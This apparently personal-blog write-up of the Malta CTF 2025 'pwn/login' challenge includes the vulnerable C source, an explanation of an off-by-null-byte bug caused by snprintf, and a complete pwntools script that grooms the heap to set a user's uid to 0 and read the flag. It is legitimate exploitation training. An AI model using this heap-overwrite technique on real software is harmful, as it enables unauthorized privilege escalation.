Logo ✧ Alter ✧
[WRITE UP] - Malta CTF 2025

[WRITE UP] - Malta CTF 2025

June 22, 2025
5 min read
Table of Contents
index

pwn/login

Challenge Information

Author
toasterpwn
Category
pwn
Points
129
Solves
47
Description
Can you find a way to login as admin?
Flag
maltactf{always_read_the_manpages!}

Analysis

This challenge has contained a source code, which is a simple login program. The program has a function login that checks if the current user is an admin by comparing the user’s UID with ADMIN_UID. If the user is an admin, it reads a flag from a file called flag.txt and prints it.

Souce code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#define NAME_LEN 0x24
#define BIO_LEN 0x30
#define USER_COUNT 0x10
#define ADMIN_UID 0
#define USER_UID 1
typedef struct user {
unsigned int uid;
char name[NAME_LEN];
char bio[BIO_LEN];
} user_t;
unsigned int curr_uid = 1000;
user_t admin;
user_t* users[USER_COUNT];
unsigned int current_user;
int getint(const char* msg) {
printf(msg);
char buf[0x8] = {};
int choice = -1;
read(0, buf, sizeof(buf));
return atoi(buf);
}
int menu() {
printf("1) Create user\n");
printf("2) Select user\n");
printf("3) Print users\n");
printf("4) Delete user\n");
printf("4) Login\n");
printf("5) Exit\n");
return getint("> ");
}
int create() {
int idx = -1;
int ret = -1;
char namebuf[NAME_LEN] = {};
printf("Enter user index.\n");
idx = getint("> ");
if (idx < 0 || idx >= USER_COUNT) {
printf("Invalid user index!\n");
return -1;
}
users[idx] = calloc(1, sizeof(user_t));
users[idx]->uid = curr_uid++;
printf("Enter user name.\n> ");
ret = read(0, users[idx]->name, NAME_LEN - 1);
if (ret < 0) {
printf("Failed to read user name!\n");
free(users[idx]);
users[idx] = NULL;
return -1;
}
users[idx]->name[ret-1] = '\0'; // Add null terminator
ret = snprintf(users[idx]->bio, BIO_LEN - 1, "%s is a really cool hacker\n", users[idx]->name);
if (ret < 0) {
printf("Failed to create user bio\n");
free(users[idx]);
users[idx] = NULL;
return -1;
}
users[idx]->bio[ret-1] = '\0'; // BUG here
return 0;
}
int select_user() {
int idx = -1;
printf("Enter user index.\n");
idx = getint("> ");
if (idx < 0 || idx >= USER_COUNT || !users[idx]) {
printf("Invalid user index!\n");
return -1;
}
current_user = idx;
return 0;
}
int delete_user() {
int idx = -1;
printf("Enter user index.\n");
idx = getint("> ");
if (idx < 0 || idx >= USER_COUNT || !users[idx]) {
printf("Invalid user index!\n");
return -1;
}
free(users[idx]);
users[idx] = NULL;
return 0;
}
void print_users() {
for (int i = 0; i < USER_COUNT; i++) {
if (!users[i]) continue;
printf("User %d\n", i);
printf("UID : %u\n", users[i]->uid);
printf("Name: %s\n", users[i]->name);
printf("Bio : %s\n\n", users[i]->bio);
}
}
int login() {
if (users[current_user] && users[current_user]->uid == ADMIN_UID) {
int fd = open("flag.txt", O_RDONLY);
char buf[0x100] = {};
if (fd < 0) {
printf("Flag file does not exist.. if this is on remote, contact an admin.\n");
return -1;
}
read(fd, buf, 0x100);
printf("Hi admin, here is your flag: %s\n", buf);
return 0;
} else {
printf("You don't have permission to do that....\n");
return -1;
}
}
void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(void) {
setup();
admin.uid = 0;
strcpy(admin.name, "admin");
while (1) {
int choice = menu();
switch (choice) {
case 1:
if (create() < 0) {
printf("Failed to create user!\n");
}
break;
case 2:
if (select_user() < 0) {
printf("Failed to create user!\n");
}
break;
case 3:
print_users();
break;
case 4:
if (delete_user() < 0) {
printf("Failed to delete user!\n");
}
break;
case 5:
if (login() < 0) {
printf("Failed to login!\n");
}
break;
case 6:
return 0;
break;
default:
printf("Invalid choice.\n");
break;
}
}
}

So if we look at the create function:

int create() {
int idx = -1;
int ret = -1;
char namebuf[NAME_LEN] = {};
printf("Enter user index.\n");
idx = getint("> ");
if (idx < 0 || idx >= USER_COUNT) {
printf("Invalid user index!\n");
return -1;
}
users[idx] = calloc(1, sizeof(user_t));
users[idx]->uid = curr_uid++;
printf("Enter user name.\n> ");
ret = read(0, users[idx]->name, NAME_LEN - 1);
if (ret < 0) {
printf("Failed to read user name!\n");
free(users[idx]);
users[idx] = NULL;
return -1;
}
users[idx]->name[ret-1] = '\0'; // Add null terminator
ret = snprintf(users[idx]->bio, BIO_LEN - 1, "%s is a really cool hacker\n", users[idx]->name);
if (ret < 0) {
printf("Failed to create user bio\n");
free(users[idx]);
users[idx] = NULL;
return -1;
}
users[idx]->bio[ret-1] = '\0'; // BUG here
return 0;
}

we can see that the use of snprintf is incorrect, as it does not null-terminate the string properly. This can lead to a nullbyte overflow if the name is longer than expected. We can confirm by reading manpage of snprintf:

The functions snprintf() and vsnprintf() do not write more than size bytes (including the terminating null byte ('\0')). If the output was truncated due to this limit then the return value is the number of characters (excluding the terminating null byte) which would have been written to the final string if enough space had been available. Thus, a return value of size or more means that the output was truncated. (See also below under NOTES.)

So we can use this to our advantage by creating a user with a long name, which will cause the bio field to overflow and overwrite the uid field. This allows us to set the uid of the user to 0, which is the admin UID.

Exploit

40 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./chal_patched', checksec=False)
libc = exe.libc
gdbscript = '''
init-pwndbg
# init-gef-bata
brva 0x1347
brva 0x14A5
brva 0x164E
brva 0x1783
brva 0x15B7
c
'''
def start(argv=[]):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2])
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(0.5)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
elif args.QEMU:
if args.GDB:
return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
else:
return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
else:
return process([exe.path] + argv, aslr=False)
def debug():
gdb.attach(p, gdbscript=gdbscript)
pause()
def create(idx, name):
slna(b'> ', 1)
slna(b'> ', idx)
sa(b'> ', name)
def delete(idx):
slna(b'> ', 4)
slna(b'> ', idx)
def select(idx):
slna(b'> ', 2)
slna(b'> ', idx)
def login():
slna(b'> ', 5)
# ==================== EXPLOIT ====================
p = start()
# Bug Off-by-Nullbyte in create function
# Goal: users[current_user] && users[current_user]->uid == ADMIN_UID
for i in range(7):
create(i, str(i).encode())
for i in range(7):
delete(i)
create(0, b'A')
create(1, b'B')
create(2, b'C')
delete(0)
create(0, b'A'*0x22)
delete(0)
create(0, b'A'*0x21)
select(1)
login()
interactive()
# maltactf{always_read_the_manpages!}